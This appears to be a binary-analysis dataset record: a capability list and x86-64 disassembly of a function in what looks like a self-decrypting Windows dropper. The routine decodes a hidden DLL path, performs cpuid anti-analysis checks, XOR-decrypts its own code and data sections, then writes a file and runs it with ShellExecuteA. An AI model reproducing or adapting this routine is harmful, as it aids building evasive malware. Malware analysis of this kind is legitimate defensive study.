Function at 0x14128b000
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rdi
push r12
push r15
mov rbp, rsp
sub rsp, 0x70
xor eax, eax
mov qword [rsp + 0xb8], rsi
mov dword [rbp + 0x30], 0x575c3a43
mov qword [0x140618848], rax
mov qword [0x140618850], rax
mov qword [0x140618858], rax
mov byte [0x140618860], al
mov dword [rbp + 0x34], 0x6f646e69
mov rax, qword [rbp + 0x30]
mov qword [0x140618848], rax
mov dword [rbp + 0x38], 0x6d5c7377
mov dword [rbp + 0x3c], 0x706c6873
mov rax, qword [rbp + 0x38]
mov dword [rbp + 0x40], 0x32336164
mov dword [rbp + 0x44], 0x6c6c642e
mov qword [0x140618850], rax
mov rax, qword [rbp + 0x40]
xor r12d, r12d
mov qword [rsp + 0x30], r12
lea rcx, [0x140618848]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [0x140618858], rax
mov qword [rsp + 0x60], r14
mov esi, 0x61
mov byte [0x140618860], 0
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rbx, rax
lea r15d, [rsi - 0x60]
cmp rax, 0xffffffffffffffff
je 0x14128b0f9
lea r9, [rbp + 0x30]
lea rdx, [0x140617840]
mov r8d, r15d
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.DLL_ReadFile]
movsx esi, byte [0x140617840]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor ecx, ecx
xor r8d, r8d
mov eax, r15d
cpuid
mov qword [rbp - 0x30], r8
mov qword [rbp - 0x28], r8
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x28], ecx
bt r8d, 9
mov dword [rbp - 0x24], edx
mov r11d, 0x1f
mov dword [rbp - 0x2c], ebx
mov r8d, r11d
mov eax, r15d
mov r9d, r12d
cmovae r8d, r15d
xor ecx, ecx
xor r10d, r10d
cpuid
mov qword [rbp - 0x28], r10
bt r10d, 9
mov dword [rbp - 0x28], ecx
mov qword [rbp - 0x30], r10
mov dword [rbp - 0x30], eax
mov ecx, r11d
mov eax, r8d
mov dword [rbp - 0x24], edx
cmovae ecx, r15d
mov dword [rbp - 0x2c], ebx
sub eax, ecx
add esi, eax
lea edx, [rax + 0x3bc00]
mov eax, 0x14141415
sub eax, r8d
cmp edx, eax
je 0x14128b1ab
movsxd rbx, edx
test edx, edx
jle 0x14128b1ab
movabs rcx, section..text
movabs r8, 0xeaeaeaeaeaeaeaeb
nop word [rax + rax]
lea eax, [rdx + r9]
xor byte [rcx], al
test edx, edx
je 0x14128b1ab
inc rcx
dec edx
add r9d, esi
lea rax, [rcx + r8]
cmp rax, rbx
jl 0x14128b190
xor ecx, ecx
xor r8d, r8d
mov eax, r15d
cpuid
mov qword [rbp - 0x30], r8
mov qword [rbp - 0x28], r8
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x28], ecx
bt r8d, 9
mov dword [rbp - 0x2c], ebx
mov eax, r15d
mov dword [rbp - 0x24], edx
mov r8d, r11d
mov r14d, r12d
cmovae r8d, r15d
xor ecx, ecx
xor r9d, r9d
cpuid
mov qword [rbp - 0x28], r9
bt r9d, 9
mov dword [rbp - 0x28], ecx
mov qword [rbp - 0x30], r9
mov dword [rbp - 0x30], eax
mov eax, r8d
mov dword [rbp - 0x2c], ebx
mov ecx, r11d
cmovae ecx, r15d
mov r10d, r8d
or rdi, 0xffffffffffffffff
sub eax, ecx
sub r10d, ecx
mov dword [rbp - 0x24], edx
add esi, eax
movsxd rbx, eax
movabs rax, 0x140043000
add rbx, rax
mov eax, 0x17171718
add r10d, 0x4cae
sub eax, r8d
cmp r10d, eax
je 0x14128b31b
mov dword [rbp - 0x30], 0x696c6176
mov dword [rbp - 0x2c], 0x6f632064
mov byte [rbp - 0x28], r9b
mov r15d, edi
mov ecx, r12d
mov r11d, r12d
lea rdx, [rbp - 0x30]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rdx + rax], cl
jne 0x14128b260
movsxd rdx, r10d
movsxd r8, eax
mov qword [rbp + 0x30], rdx
test r10d, r10d
jle 0x14128b303
mov qword [rsp + 0x68], r13
lea r12, [rbp - 0x30]
mov r13, rbx
add r12, r8
neg r12
neg r13
lea eax, [r14 + r10]
xor byte [rbx], al
test ecx, ecx
jne 0x14128b2db
xor eax, eax
test r8, r8
je 0x14128b2db
lea r9, [r12 + rbx]
nop word [rax + rax]
lea rcx, [rbp - 0x30]
add rcx, rax
movzx edx, byte [rcx + r9]
movsx ecx, byte [rcx]
cmp edx, ecx
jne 0x14128b2d5
inc rax
mov ecx, 1
cmp rax, r8
jne 0x14128b2b0
mov r15d, r11d
jmp 0x14128b2d7
xor ecx, ecx
mov rdx, qword [rbp + 0x30]
test r10d, r10d
je 0x14128b2f5
inc rbx
dec r10d
add r14d, esi
lea rax, [rbx + r13]
inc r11d
cmp rax, rdx
jl 0x14128b290
mov r13, qword [rsp + 0x68]
xor r12d, r12d
cmp r15d, 0xffffffff
jne 0x14128b30a
mov dword [0x14004dca4], r12d
mov r11d, 0x1f
mov dword [0x140611644], r15d
lea r15d, [r11 - 0x1e]
mov r14, qword [rsp + 0x60]
xor r8d, r8d
xor ecx, ecx
mov qword [rbp - 0x30], r8
mov qword [rbp - 0x28], r8
bt r8d, 9
mov eax, r15d
mov r8d, r11d
mov r9d, r12d
cpuid
cmovae r8d, r15d
xor r10d, r10d
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x2c], ebx
mov dword [rbp - 0x28], ecx
xor ecx, ecx
mov dword [rbp - 0x24], edx
mov eax, r15d
cpuid
bt r10d, 9
mov qword [rbp - 0x30], r10
cmovae r11d, r15d
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x2c], ebx
mov qword [rbp - 0x28], r10
mov eax, r8d
mov ebx, r8d
sub eax, r11d
sub ebx, r11d
mov dword [rbp - 0x28], ecx
add esi, eax
mov eax, 0x1919191a
add ebx, 0x2800
sub eax, r8d
mov dword [rbp - 0x24], edx
cmp ebx, eax
je 0x14128b3cb
movsxd r8, ebx
test ebx, ebx
jle 0x14128b3cb
movabs rcx, section..data
movabs r10, 0xe7e7e7e7e7e7e7e8
nop
lea eax, [r9 + rbx]
xor byte [rcx], al
test ebx, ebx
je 0x14128b3cb
inc rcx
dec ebx
add r9d, esi
lea rax, [rcx + r10]
cmp rax, r8
jl 0x14128b3b0
cmp dword [0x14004dca4], 0
mov rsi, qword [rsp + 0xb8]
jne 0x14128b4f1
mov qword [rsp + 0x30], r12
lea rcx, [0x14004dcb8]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rbp + 0x30], r12d
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14128b43f
lea r9, [rbp + 0x30]
lea rdx, [0x140617840]
mov r8d, r15d
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor ecx, ecx
mov eax, r15d
mov qword [rsp + 0x30], r12
cpuid
xor r9d, r9d
xor r8d, r8d
mov dword [rbp - 0x28], ecx
mov dword [rbp - 0x24], edx
lea rcx, [0x14004de88]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rbp - 0x30], eax
mov dword [rbp - 0x2c], ebx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14128b4b7
lea rdx, str.PQ_t
nop
inc rdi
cmp byte [rdx + rdi], 0
jne 0x14128b490
lea r9, [rbp + 0x30]
mov r8, rdi
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rax, [0x140046d47]
lea r9, [0x14004dce0]
lea r8, [0x14004dcb0]
lea rdx, [0x14004dc20]
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0xfffffffe
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x70
pop r15
pop r12
pop rdi
pop rbx
pop rbp
jmp 0x140020cb4